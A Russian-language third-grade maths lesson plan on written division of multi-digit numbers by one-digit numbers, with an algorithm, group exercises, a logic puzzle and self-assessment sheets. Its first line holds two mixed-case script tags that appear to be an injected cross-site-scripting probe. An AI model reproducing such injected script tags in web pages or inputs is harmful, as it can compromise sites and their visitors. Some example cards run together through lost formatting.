<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Урок 135

Тема занятия:

Письменные

приёмы деления 86:2, 286:2

Общие цели:

Научиться приему деления многозначного числа на

однозначное через применение алгоритма.

Ожидаемые результаты:

Совместно

в группе выведут алгоритм деления на однозначное число, ученик А оказывает

поддержку и направляет работу в группе по приёму деления многозначного числа

на однозначное число, ученик В может самостоятельно выполнить письменное

деление многозначного числа на однозначное, ученик С пользуясь  памяткой -алгоритмом выполняет письменное

деление многозначного числа на однозначное.

Ключевые идеи:

В коллаборативной среде  

разработают алгоритм деления многозначного числа на однозначное и

научатся выполнять письменные приёмы деления, оценивать результат работы чере

критериальное оценивание. Рефлексировать свою учебную деятельность

Время

Деятельность учителя

Деятельность учеников

3

мин.

1.Орг.класса.

Деление на группы.

Дружно будем мы решать

И пятёрки получать!!!

«Входные билетики»

Учащиеся получают билетики, решают и делятся на группы по результату действий.

25:25, 50:25, 60:20, 160:40, 100:20, 90:15

(1,2,3,4,5,6)

Учащиеся

в кругу проговаривают пожелания и решают примеры. По результатам действий

делятся на группы.

7 мин

2.Актуалиация знаний.

а) Что нужно сделать, прежде чем узнавать новое? (Повторить то, что знаем.) 

- Мы будем повторять все, что знаем? (Нет, только то, что нам поможет при

открытии новых знаний.) 

Чему вы научились на прошлом уроке?

Кто столкнулся с затруднениями при выполнении домашнего задания? Какое действие вы выполняли в кругу? (деление)

Почему действия умножения и деления называют взаимообратными?

Выведите тему урока.

б) Устный счёт:

Математический

диктант:

15х3, 64:2,

150:30, 100х4, 96:6

Самопроверка:

45,32,5,400,16

Проверьте задание по эталону, в листах обратной связи поставьте балл за задание

Учащиеся

отвечают на вопросы, анализирую домашнее задание. Выводят тему урока.

Умеют выполнять

устные приёмы умножения и деления, оценивать и выставлять баллы

7 мин

3. Работа над

новым материалом.

Просмотр ролика

http://interneturok.ru/ru/school/matematika/3-klass

Изучите приём деления в учебнике, выведите алгоритм письменного деления многозначного числа

на однозначное.(с.97)

Выведем общий алгоритм.

Алгоритм деления многозначного числа на

однозначное 

1. Найти первое неполное делимое. 

2. Определить количество цифр в частном. 

3. Разделить первое неполное делимое, записать первую цифру частного. 

4. Найти остаток (меньше делителя). 

5. Остаток сложить с единицами следующего разряда (второе неполное

делимое). 

6. Разделить полученное число, записать следующую цифру частного. 

7. Найти остаток (меньше делителя). 

8. Если найдена последняя цифра частного, перейти к пункту 9, а если нет – к пункту 5. 

9. Назвать ответ.

На доске правая половина башни маяка с ответами примеров на деление, левую

часть дети должны построить из карточек с примерами на деление, совместив их

с соответствующими результатами действия.

 __76____

 __84_____

 __106_____

 __243______

 __709_______

 __1173_______

 __3064________

 __6136_________

 __6802__________

 __11563__________

 __53104____________

 У детей на карточках выражения (у каждого по

одному, количество карточек может быть подобрано соответственно количеству

учеников в классе):

 684 : 9 504 : 6 318 : 3 972 : 44963 : 7 5865

: 5 27576 : 9 36816 : 6

 47614 : 7 92504 : 8 318624 : 6

Работа в

группах.

- Запишите в

порядке возрастания все возможные числа, составленные из данных цифр.

(248, 284, 428, 482, 824, 842)

 - Какое задание вы хотели бы предложить для

выполнения с этими числами?

- Наиболее

интересным для сегодняшнего урока является задание на замену чисел суммой

разрядных слагаемых.

( учащиеся заменяют

числа суммой разрядных слагаемых)

 - Уменьшите устно любое из данных чисел в 2

раза.

124, 142, 214, 241. 412. 421

- Вы хорошо считаете. А вот умеете ли решать логические задачи?

Групповая

работа

Решение логической задачи.

(Саша считает

быстрее Оли, но медленнее, чем Ира.   

Кто считает медленнее всех? (Оля)

Учащиеся в группе разрабатывают алгоритм деления многозначного числа на однозначное

число.

Ученик А направляет работу группы.

3 мин

Фиминутка

Учащиеся

выполняют движения под музыку.

20 мин.

4. Закрепление.

а) Выполните №2, с.98.Проверьте по эталону:

1.Запись выполнена правильно во всех примерах – по 1 б за пример

2.За каждый правильный пример –  по 1 б

Запиши баллы в листах обратной связи.

Задание для закрепление урока.

- Найдите значения

этих выражений, выполнив подробную запись.

Самостоятельная

работа

672:6=(600+60+12):6= 600:6 +60:6+12:6= 100+10+2=112

96:4 = (80+16):4=80:4+16:4= 20+4=24

(учащиеся первыми выполнившие задание дублируют его на

доске, либо осуществляют взаимопроверку задания)

- Чему равно

значение выражений?

- Что можете

сказать о записи решения выражений?

- А можно ли решить выражения, записывая в столбик? Попробуте это

сделать

  Составьте задачу по условию, дополнив её данными. Спикерам групп

защитить решение. 

За правильно решённую задачу группа в листах обратной связи ставит по 3 б.

Ученик А

направляет работу группы и может самостоятельно выполнять деление, ученик Б

самостоятельно выполняет деление столбиком, ученик С выполняет деление по

алгоритму.

Учащиеся в

группе решают задачу, применяя ранее полученные знания на практике, на листах

получают оценку своей деятельности членами других команд по стратегии

«Карусель» 

5 мин

5. Рефлексия.

а) в листах обратной связи посчитайте общее количество баллов, выведите оценку своей

деятельности по дескриптору, подпишите листы и сдайте.

  б) заполните рефлексивный лист

На уроке я научился________________

в)Д/з с. 98., №2, №6 (1,2)

Учащиеся

умеют выводить оценку по дескриптору, анализируют свою деятельность на уроке.